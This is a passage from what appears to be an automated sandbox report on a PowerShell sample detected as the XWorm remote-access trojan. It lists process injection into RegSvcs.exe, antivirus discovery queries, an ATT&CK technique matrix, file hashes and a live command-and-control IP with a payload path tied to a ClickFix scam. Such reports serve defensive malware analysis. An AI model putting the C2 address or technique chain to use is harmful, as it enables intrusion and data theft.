Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wermgr.exe "C:\Windows\system32\wermgr.exe" "-outproc" "0" "5968" "2404" "2616" "2496" "0" "0" "2348" "0" "0" "0" "0" "0"	Jump to behavior

Source: RegSvcs.exe, 00000004.00000002.3156793312.0000000002FB4000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000004.00000002.3156793312.0000000002F02000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000004.00000002.3156793312.0000000002E82000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: q'PING!<Xwormmm>Program Manager<Xwormmm>0
Source: RegSvcs.exe, 00000004.00000002.3156793312.0000000002FB4000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000004.00000002.3156793312.0000000002F02000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000004.00000002.3156793312.0000000002E82000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: q'PING!<Xwormmm>Program Manager<Xwormmm>0Te
Source: RegSvcs.exe, 00000004.00000002.3156793312.0000000002C91000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program Manager
Source: RegSvcs.exe, 00000004.00000002.3156793312.0000000002FB4000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000004.00000002.3156793312.0000000002F02000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000004.00000002.3156793312.0000000002E82000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: PING!<Xwormmm>Program Manager<Xwormmm>0
Source: RegSvcs.exe, 00000004.00000002.3156793312.0000000002FB4000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000004.00000002.3156793312.0000000002F02000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000004.00000002.3156793312.0000000002E82000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program Managert-
Source: RegSvcs.exe, 00000004.00000002.3156793312.0000000002FB4000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000004.00000002.3156793312.0000000002F02000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000004.00000002.3156793312.0000000002E82000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program Manager\

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: Amcache.hve.0.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.0.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.0.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.0.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23090.2008-0\msmpeng.exe
Source: Amcache.hve.0.dr	Binary or memory string: MsMpEng.exe

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct

Stealing of Sensitive Information

Yara detected XWorm

Source: Yara match	File source: 00000004.00000002.3156793312.0000000002C91000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 1056, type: MEMORYSTR

Remote Access Functionality

Yara detected XWorm

Source: Yara match	File source: 00000004.00000002.3156793312.0000000002C91000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 1056, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	11 Windows Management Instrumentation	1 DLL Side-Loading	212 Process Injection	1 Masquerading	OS Credential Dumping	241 Security Software Discovery	Remote Services	11 Archive Collected Data	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	1 Disable or Modify Tools	LSASS Memory	2 Process Discovery	Remote Desktop Protocol	1 Clipboard Data	1 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	241 Virtualization/Sandbox Evasion	Security Account Manager	241 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	212 Process Injection	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 System Network Configuration Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Obfuscated Files or Information	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Software Packing	DCSync	23 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
QP2uO3eN2p.ps1	24%	ReversingLabs	Win32.Trojan.Generic
QP2uO3eN2p.ps1	28%	Virustotal		Browse

Source	Detection	Scanner	Label	Link
92.255.57.155	0%	Avira URL Cloud	safe

Name	Malicious	Antivirus Detection	Reputation
92.255.57.155	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
http://nuget.org/NuGet.exe	powershell.exe, 00000000.00000002.1688656796.000001E71BBF4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1673465265.000001E70D1CE000.00000004.00000800.00020000.00000000.sdmp	false	high
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000000.00000002.1673465265.000001E70BA88000.00000004.00000800.00020000.00000000.sdmp	false	high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000000.00000002.1673465265.000001E70BA88000.00000004.00000800.00020000.00000000.sdmp	false	high
https://go.micro	powershell.exe, 00000000.00000002.1673465265.000001E70CA36000.00000004.00000800.00020000.00000000.sdmp	false	high
https://contoso.com/	powershell.exe, 00000000.00000002.1673465265.000001E70D1CE000.00000004.00000800.00020000.00000000.sdmp	false	high
https://nuget.org/nuget.exe	powershell.exe, 00000000.00000002.1688656796.000001E71BBF4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1673465265.000001E70D1CE000.00000004.00000800.00020000.00000000.sdmp	false	high
https://contoso.com/License	powershell.exe, 00000000.00000002.1673465265.000001E70D1CE000.00000004.00000800.00020000.00000000.sdmp	false	high
https://contoso.com/Icon	powershell.exe, 00000000.00000002.1673465265.000001E70D1CE000.00000004.00000800.00020000.00000000.sdmp	false	high
http://upx.sf.net	Amcache.hve.0.dr	false	high
https://aka.ms/pscore68	powershell.exe, 00000000.00000002.1673465265.000001E70B861000.00000004.00000800.00020000.00000000.sdmp	false	high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000000.00000002.1673465265.000001E70B861000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000004.00000002.3156793312.0000000002C91000.00000004.00000800.00020000.00000000.sdmp	false	high
https://github.com/Pester/Pester	powershell.exe, 00000000.00000002.1673465265.000001E70BA88000.00000004.00000800.00020000.00000000.sdmp	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
92.255.57.155	unknown	Russian Federation		42253	TELSPRU	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1577167
Start date and time:	2024-12-18 08:14:13 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 56s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	QP2uO3eN2p.ps1 renamed because original name is a hash value
Original Sample Name:	7dc08327ae721c3ecf12447901858457bf510dd7016838839a629f86d673b18b.ps1
Detection:	MAL
Classification:	mal100.troj.evad.winPS1@9/14@0/1
EGA Information:	Successful, ratio: 50%
HCA Information:	Successful, ratio: 94% Number of executed functions: 96 Number of non-executed functions: 23
Cookbook Comments:	Found application associated with file extension: .ps1 Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 20.189.173.20, 40.126.53.13, 4.175.87.197, 13.107.246.63
Excluded domains from analysis (whitelisted): ocsp.digicert.com, login.live.com, slscr.update.microsoft.com, otelrules.azureedge.net, blobcollector.events.data.trafficmanager.net, onedsblobprdwus15.westus.cloudapp.azure.com, ctldl.windowsupdate.com, umwatson.events.data.microsoft.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target powershell.exe, PID 5968 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtSetInformationFile calls found.

Simulations

Behavior and APIs

Time	Type	Description
02:15:23	API Interceptor	41x Sleep call for process: powershell.exe modified
02:15:27	API Interceptor	5070157x Sleep call for process: RegSvcs.exe modified
02:15:36	API Interceptor	1x Sleep call for process: wermgr.exe modified
02:18:04	API Interceptor	1x Sleep call for process: WerFault.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
92.255.57.155	anyrunsample.ps1	Get hash	malicious	Unknown	Browse	92.255.57.155/1/1.png
92.255.57.155	https://reviewgustereports.com/	Get hash	malicious	CAPTCHA Scam ClickFix, XWorm	Browse	92.255.57.155/1/1.png

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TELSPRU	mhqxUdpe7V.ps1	Get hash	malicious	XWorm	Browse	92.255.57.155
	MiGFg375KJ.exe	Get hash	malicious	XWorm	Browse	92.255.57.155
	anyrunsample.ps1	Get hash	malicious	Unknown	Browse	92.255.57.155
	sEOELQpFOB.lnk	Get hash	malicious	RedLine	Browse	92.255.57.75
	ref095vq842r70_classement_atout_france.pdf.lnk.d.lnk	Get hash	malicious	RedLine, SectopRAT	Browse	92.255.57.75
	fa20b849ebe7c53d59f3ed0fcfac8445ea08e7296af5a.exe	Get hash	malicious	Stealc	Browse	92.255.57.89
	LXS5itpTK7.exe	Get hash	malicious	Stealc	Browse	92.255.57.89
	SEejSLAS9f.exe	Get hash	malicious	Stealc	Browse	92.255.57.89
	mMgFHz9PdG.exe	Get hash	malicious	Stealc	Browse	92.255.57.89
	vCZfRWB1kd.exe	Get hash	malicious	Stealc	Browse	92.255.57.89

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_RegSvcs.exe_6ffd24152b5e9a3a3eb1fb64c4ad5c89541278d_74bcc9ed_4ba80e18-6159-4399-8440-5c696cf9801a\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.2142835581447349
Encrypted:	false
SSDEEP:	192:OYlQHlk8QUoqz0BU/Sa6egt0GopzuiFUZ24IO8a9:hw3QjVBU/Saqtv+zuiFUY4IO8a9
MD5:	1FD06AE5152FE36DCE80834E2840566A
SHA1:	F809193961C5745EAFC57CB77F2F70B5BC6888D5
SHA-256:	6E69A7DDC06BE0B0D3078412435599476FF04E1B60DE60CD8D0DD9DA745FDB3F
SHA-512:	032947BA17AF91082E9072C119836834DBE5EE18225F70F13114BD641E9C41C6A16E1BF7CCA16373A0E109AD4EB8AEAA3F3A43B62CA4B85A3D3F368D17DBC097
Malicious:	false
Reputation:	low
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.C.L.R.2.0.r.3.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.8.9.7.9.8.7.9.0.4.9.1.9.5.6.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.8.9.7.9.8.7.9.5.8.0.4.4.9.3.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.4.b.a.8.0.e.1.8.-.6.1.5.9.-.4.3.9.9.-.8.4.4.0.-.5.c.6.9.6.c.f.9.8.0.1.a.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.e.9.5.b.b.0.9.b.-.0.9.6.4.-.4.2.3.2.-.a.8.9.0.-.b.5.1.3.6.0.0.f.0.1.9.d.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.R.e.g.S.v.c.s...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.R.e.g.S.v.c.s...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.4.2.0.-.0.0.0.1.-.0.0.1.4.-.2.f.a.6.-.f.6.9.a.1.c.5.1.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.0.f.5.1.9.f.e.e.c.4.8.6.d.e.8.7.e.d.7.3.c.b.9.2.d.3.c.a.c.8.0.2.4.0.0.0.0.0.0.0.0.!.0.0.0.0.1.9.6.9.7.7.1.b.2.f.0.2.2.f.9.a.8.6.d.7.7.a.c.4.d.4.d.2.3.9.b.e.c.d.f.0.8.d.0.7.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\Critical_powershell.exe_cff3fccfaef89fe97e70f334411924bd667e9abb_00000000_807c381f-279d-45a8-887e-ccd7dafd6f29\Report.wer

Download File

Process:	C:\Windows\System32\wermgr.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.5318307310585444
Encrypted:	false
SSDEEP:	96:TSrn+FMAjirxYidgRH3Uje0e35/3ooLF1QXIGZAX/d5FMT2SlPkpXmTAJf/VXT5t:92iimGgR30m8AzuiFRZ24lO8
MD5:	E3310AFA7F21399BC86B453E73E58436
SHA1:	42C3BC65478A34B89B56B12FFE1BB742534D491D
SHA-256:	90389CC4E78CEA46FB45778D8B77ED77BE961A5F705F0D26C9F735C7593CDC0B
SHA-512:	A2752A7A972CC6C180C0E52CEE50DAB912360053947F55D2EEBCE6621652524BCBB8EE0FF31902E8E237B8E4C7BF7680DE5080121CFF4F578BFB5C4B23D5B726
Malicious:	false
Reputation:	low
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.P.o.w.e.r.S.h.e.l.l.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.8.9.7.9.7.7.2.1.6.5.1.4.8.9.....R.e.p.o.r.t.T.y.p.e.=.1.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.8.9.7.9.7.2.4.3.6.1.2.3.7.4.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.8.0.7.c.3.8.1.f.-.2.7.9.d.-.4.5.a.8.-.8.8.7.e.-.c.c.d.7.d.a.f.d.6.f.2.9.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.P.o.w.e.r.S.h.e.l.l...E.X.E.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.7.5.0.-.0.0.0.1.-.0.0.1.4.-.f.9.c.b.-.3.8.9.9.1.c.5.1.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.0.f.5.1.9.f.e.e.c.4.8.6.d.e.8.7.e.d.7.3.c.b.9.2.d.3.c.a.c.8.0.2.4.0.0.0.0.0.0.0.0.!.0.0.0.0.f.4.3.d.9.b.b.3.1.6.e.3.0.a.e.1.a.3.4.9.4.a.c.5.b.0.6.2.4.f.6.b.e.a.1.b.f.0.5.4.!.p.o.w.e.r.s.h.e.l.l...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.3.7././.0.6././.1.0.:.0.7.:.4.5.:.2.5.!.7.d.6.d.a.!.p.o.w.e.r.s.h.e.l.l...e.x.e.....B.o.o.t.I.d.=.4.2.9.4.9.6.7.2.9.5.....T.a.r.g.e.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER58DA.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Wed Dec 18 07:17:59 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	362291
Entropy (8bit):	3.426765514257989
Encrypted:	false
SSDEEP:	3072:iarx17c4uEqIy2yLTgYa+WjL7X69PXa/lhZTWydDIib:icx17c4xyLTgYtKL7Xn/l3NdDT
MD5:	5404928F25CFA02CA67D8628A9B87E15
SHA1:	584399409ACC691F9C079C7D42289B6B7025D481
SHA-256:	4B4B0D956820ED3664ED28218EB8BE55B95F3DBD2CBD1478821B4E1ECE042BBD
SHA-512:	C672F659B1B692C441100C3CD9AFED152C28B4BC8219918E4A42F5722B939D130267F5B37125E399769E176E6B51CBCEF0175271A2329359CDDA5A0BE7628E86
Malicious:	false
Reputation:	low
Preview:	MDMP..a..... .......'wbg............d...........<...x.......$....).......*...j..........`.......8...........T............E..sA...........)...........+..............................................................................eJ......\,......GenuineIntel............T....... ....vbg....f........................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.......................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER5A33.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8360
Entropy (8bit):	3.691380624078792
Encrypted:	false
SSDEEP:	192:R6l7wVeJMfk67a6YBWfSLegmfZ8vprf89bB9sfZRLm:R6lXJMc6W6YBGSCgmfOyB2fa
MD5:	24D2420A49FE15499B79B16DC40AEB82
SHA1:	FEB78DF597872745B75A62F83A29FE66D4720BBB
SHA-256:	BDE61A54EEB6C7A13075D14C81A96CE6E04EAF0B56D87979AA0B876C8FD5E1CA
SHA-512:	38002F176B8A93F52D5EEF2B7BB03D7ECE67A0A1BF84A37ADF5A68D7B51E36886D9D31250FA56F0F33E986029BDF6AC444F63D75BCFBF5B6B6AF4315B81DE7F9
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.1.0.5.6.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER5A63.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4728
Entropy (8bit):	4.445659107027491
Encrypted:	false
SSDEEP:	48:cvIwWl8zsOJg77aI9NiWpW8VY4Ym8M4J3cFW+q8vYwlmDIDwMrd:uIjfEI7/j7VoJzKBlmDILrd
MD5:	4B353C3E80292F0A82F3E4D4466907C7
SHA1:	BA4658E03C26269C8702976C4B7D11B2FC33734E
SHA-256:	0B332F6F7A3FCF3B292882E2F1C1751FBA589E07F43F4A172852DEE939E32CE6
SHA-512:	954603CDA9419103F43FA216604E76602428D187CC859753D26855CC9449314821C1CF384C5D1C3D2D34F865E954455C2C88E30D7B3D7376B940967AFFF39664
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="636380" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WERFB24.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\System32\wermgr.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	7286
Entropy (8bit):	3.7361959397539373
Encrypted:	false
SSDEEP:	96:RSIU6o7wVetbpkQuQYBYl6Y274FIgmfHNpX6PbVF5aMS895QGm:R6l7wVeJpkZdul6YS4FIgmftYtpS8bm
MD5:	0B3DCDC85CE8C8DC5359A99738BD1A02
SHA1:	74275DF68A2E9CC178791C2CE4AED440E0B932C7
SHA-256:	51DC2E83E460C56E596613FA41B807D6B2AEF3151CD79D8180122A14E175EE0D
SHA-512:	9B7FC0467221C4B5AC77F023DC9B39001361FF156849454068DB8CB84BB6653FF5683F4D115CAC53D4E5FD4F14CD7FDA1813A32CD832EA551A8D9B0AC9DCD28B
Malicious:	false
